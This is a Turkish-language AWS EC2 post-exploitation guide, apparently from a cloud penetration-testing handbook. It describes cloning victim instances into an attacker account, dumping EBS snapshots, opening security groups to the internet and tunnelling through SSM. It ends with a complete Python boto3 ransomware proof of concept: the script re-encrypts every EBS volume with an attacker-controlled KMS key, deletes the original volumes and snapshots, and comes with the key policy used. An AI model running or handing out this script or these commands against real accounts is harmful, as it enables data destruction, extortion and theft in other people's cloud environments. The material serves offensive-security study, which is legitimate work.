Kötü Amaçlı VPC Aynası -ec2:DescribeInstances, ec2:RunInstances, ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress, ec2:CreateTrafficMirrorTarget, ec2:CreateTrafficMirrorSession, ec2:CreateTrafficMirrorFilter, ec2:CreateTrafficMirrorFilterRule
VPC trafik yansıtma, bir VPC içindeki EC2 örnekleri için gelen ve giden trafiği kopyalar ve bu işlemi örneklerin kendisine herhangi bir şey yüklemeye gerek kalmadan gerçekleştirir. Bu kopyalanan trafik genellikle analiz ve izleme için bir ağ saldırı tespit sistemi (IDS) gibi bir yere gönderilir.
Bir saldırgan, tüm trafiği yakalamak ve hassas bilgileri elde etmek için bunu kötüye kullanabilir:
Örnekler genellikle bazı hassas bilgileri içerir. İçeri girmek için farklı yollar vardır (bakınız EC2 ayrıcalık yükseltme ipuçları). Ancak, içeriğin ne içerdiğini kontrol etmenin bir diğer yolu bir AMI oluşturmak ve ondan yeni bir örnek çalıştırmaktır (hatta kendi hesabınızda bile):
# List instancesawsec2describe-images# create a new image for the instance-idawsec2create-image--instance-idi-0438b003d81cd7ec5--name"AWS Audit"--description"Export AMI"--regioneu-west-1# add key to AWSawsec2import-key-pair--key-name"AWS Audit"--public-key-materialfile://~/.ssh/id_rsa.pub--regioneu-west-1# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.awsec2run-instances--image-idami-0b77e2d906b00202d--security-group-ids"sg-6d0d7f01"--subnet-idsubnet-9eb001ea--count1--instance-typet2.micro--key-name"AWS Audit"--query"Instances[0].InstanceId"--regioneu-west-1# now you can check the instanceawsec2describe-instances--instance-idsi-0546910a0c18725a1# If needed : edit groupsawsec2modify-instance-attribute--instance-id"i-0546910a0c18725a1"--groups"sg-6d0d7f01"--regioneu-west-1# be a good guy, clean our instance to avoid any useless costawsec2stop-instances--instance-id"i-0546910a0c18725a1"--regioneu-west-1awsec2terminate-instances--instance-id"i-0546910a0c18725a1"--regioneu-west-1
EBS Snapshot dump
Anlık görüntüler, hacimlerin yedekleridir, genellikle hassas bilgiler içerecektir, bu nedenle bunları kontrol etmek bu bilgileri açığa çıkarabilir.
Eğer anlık görüntüsü olmayan bir hacim bulursanız: Bir anlık görüntü oluşturabilir ve aşağıdaki işlemleri gerçekleştirebilir veya sadece bir örneğe monte edebilirsiniz:
Bir saldırgan, kendisi tarafından kontrol edilen bir hesabın API uç noktalarını çağırabilir. Cloudtrail bu çağrıları kaydedecek ve saldırgan, Cloudtrail günlüklerinde sızdırılan verileri görebilecektir.
Açık Güvenlik Grubu
Ağ hizmetlerine daha fazla erişim elde etmek için portları şu şekilde açabilirsiniz:
awsec2authorize-security-group-ingress--group-id<sg-id>--protocoltcp--port80--cidr0.0.0.0/0# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
ECS'ye Privesc
Bir EC2 örneği çalıştırmak ve bunu ECS örneklerini çalıştırmak için kaydetmek mümkündür ve ardından ECS örneklerinin verilerini çalmak mümkündür.
Komut yürütmenin yanı sıra, SSM, Güvenlik Grupları veya NACL'ler nedeniyle ağ erişimi olmayan EC2 örneklerinden geçiş yapmak için kötüye kullanılabilecek trafik tünellemesine olanak tanır. Bunun faydalı olduğu senaryolardan biri, bir Bastion Host üzerinden özel bir EKS kümesine geçiş yapmaktır.
Bir oturum başlatmak için SessionManagerPlugin'in yüklü olması gerekir: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
kubectl aracından gelen trafik artık Bastion EC2 üzerinden SSM tüneli aracılığıyla yönlendiriliyor ve kendi makinenizden özel EKS kümesine erişmek için şu komutu çalıştırabilirsiniz:
kubectlgetpods--insecure-skip-tls-verify
Not edin ki, SSL bağlantıları --insecure-skip-tls-verify bayrağını (veya K8s denetim araçlarındaki eşdeğerini) ayarlamazsanız başarısız olacaktır. Trafiğin güvenli AWS SSM tüneli üzerinden tünellendiğini göz önünde bulundurarak, herhangi bir MitM saldırısından güvendesiniz.
Son olarak, bu teknik özel EKS kümelerine saldırmak için spesifik değildir. Herhangi bir AWS hizmetine veya özel bir uygulamaya geçiş yapmak için rastgele alan adları ve portlar ayarlayabilirsiniz.
https://github.com/saw-your-packet/CloudShovel: CloudShovel, kamu veya özel Amazon Machine Images (AMIs) içinde hassas bilgileri aramak için tasarlanmış bir araçtır. Hedef AMI'lerden örnekler başlatma, hacimlerini bağlama ve potansiyel sırlar veya hassas veriler için tarama işlemini otomatikleştirir.
S3 sonrası istismar notlarında gösterilen Ransomware gösterimine benzer bir kavramsal kanıt. KMS, çeşitli AWS hizmetlerini şifrelemek için ne kadar kolay kullanıldığı göz önüne alındığında RMS (Ransomware Yönetim Servisi) olarak yeniden adlandırılmalıdır.
Öncelikle bir 'saldırgan' AWS hesabından KMS'de bir müşteri yönetimli anahtar oluşturun. Bu örnek için, AWS'nin anahtar verilerini benim için yönetmesine izin vereceğiz, ancak gerçek bir senaryoda kötü niyetli bir aktör anahtar verilerini AWS'nin kontrolü dışında tutacaktır. Anahtar politikasını, herhangi bir AWS hesabı Prensipinin anahtarı kullanmasına izin verecek şekilde değiştirin. Bu anahtar politikası için, hesabın adı 'AttackSim' ve tüm erişime izin veren politika kuralı 'Dış Şifreleme' olarak adlandırılmıştır.
Anahtar politika kuralının, bir EBS hacmini şifrelemek için kullanılabilmesi adına aşağıdakilerin etkinleştirilmesi gerekir:
kms:CreateGrant
kms:Decrypt
kms:DescribeKey
kms:GenerateDataKeyWithoutPlainText
kms:ReEncrypt
Artık kullanılacak kamuya açık anahtar ile. Şifrelenmemiş EBS hacimleri ekli bazı EC2 örnekleri olan bir 'kurban' hesabı kullanabiliriz. Bu 'kurban' hesabın EBS hacimleri, şifreleme hedefimizdir; bu saldırı, yüksek ayrıcalıklı bir AWS hesabının ihlal edildiği varsayımı altında gerçekleştirilmektedir.
Bu, hesapta yalnızca şifrelenmiş EBS hacimlerinin kalmasıyla sonuçlanır.
Ayrıca, scriptin orijinal EBS hacimlerini ayırmak ve silmek için EC2 örneklerini durdurduğunu belirtmekte fayda var. Orijinal şifrelenmemiş hacimler artık yok.
Sonraki adım, 'saldırgan' hesabındaki anahtar politikasına geri dönmek ve anahtar politikasından 'Dışarıdan Şifreleme' politika kuralını kaldırmaktır.
{"Version":"2012-10-17","Id":"key-consolepolicy-3","Statement": [{"Sid":"Enable IAM User Permissions","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::[Your AWS Account Id]:root"},"Action":"kms:*","Resource":"*"},{"Sid":"Allow access for Key Administrators","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::[Your AWS Account Id]:user/AttackSim"},"Action": ["kms:Create*","kms:Describe*","kms:Enable*","kms:List*","kms:Put*","kms:Update*","kms:Revoke*","kms:Disable*","kms:Get*","kms:Delete*","kms:TagResource","kms:UntagResource","kms:ScheduleKeyDeletion","kms:CancelKeyDeletion"],"Resource":"*"},{"Sid":"Allow use of the key","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::[Your AWS Account Id]:user/AttackSim"},"Action": ["kms:Encrypt","kms:Decrypt","kms:ReEncrypt*","kms:GenerateDataKey*","kms:DescribeKey"],"Resource":"*"},{"Sid":"Allow attachment of persistent resources","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::[Your AWS Account Id]:user/AttackSim"},"Action": ["kms:CreateGrant","kms:ListGrants","kms:RevokeGrant"],"Resource":"*","Condition": {"Bool": {"kms:GrantIsForAWSResource":"true"}}}]}
Biraz bekleyin, yeni ayarlanan anahtar politikasının yayılmasını bekleyin. Ardından 'kurban' hesabına geri dönün ve yeni şifrelenmiş EBS hacimlerinden birini eklemeyi deneyin. Hacmi ekleyebildiğinizi göreceksiniz.
Ancak şifrelenmiş EBS hacmi ile EC2 örneğini gerçekten başlatmayı denediğinizde, sadece başarısız olacak ve 'beklemede' durumundan 'durdu' durumuna sonsuza dek geri dönecektir çünkü ekli EBS hacmi anahtar kullanılarak şifresi çözülemez, çünkü anahtar politikası artık buna izin vermiyor.
Bu kullanılan python betiğidir. 'Kurban' hesabı için AWS kimlik bilgilerini ve şifreleme için kullanılacak anahtarın kamuya açık bir AWS ARN değerini alır. Betik, hedeflenen AWS hesabındaki Tüm EC2 örneklerine bağlı Tüm mevcut EBS hacimlerinin şifrelenmiş kopyalarını oluşturacak, ardından her EC2 örneğini durduracak, orijinal EBS hacimlerini ayıracak, silecektir ve nihayetinde süreçte kullanılan tüm anlık görüntüleri silecektir. Bu, yalnızca hedef 'kurban' hesabında şifrelenmiş EBS hacimleri bırakacaktır. BU BETİĞİ YALNIZCA BİR TEST ORTAMINDA KULLANIN, YIKICI VE TÜM ORİJİNAL EBS HACİMLERİNİ SİLECEKTİR. Kullanılan KMS anahtarı ile bunları geri alabilir ve anlık görüntüler aracılığıyla orijinal durumlarına geri yükleyebilirsiniz, ancak bunun sonunda bir fidye yazılımı PoC'si olduğunu bilmenizi isterim.
import boto3
import argparse
from botocore.exceptions import ClientError
def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes
def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids
def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])
def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']
volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids
def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']
if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")
except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")
def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")
def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")
def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)
def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)
instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn) # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes) # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids) # Optionally delete snapshots if no longer needed
def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()
def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)
instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)
if __name__ == "__main__":
main()
S3 fidye yazılımı örneğine benzer şekilde. Bu saldırı, ekli EBS hacimlerinin kopyalarını anlık görüntüler kullanarak oluşturacak, 'saldırgan' hesabından kamuya açık anahtarı kullanarak yeni EBS hacimlerini şifreleyecek, ardından orijinal EBS hacimlerini EC2 örneklerinden ayıracak ve silecek, ve son olarak yeni şifrelenmiş EBS hacimlerini oluşturmak için kullanılan anlık görüntüleri silecektir.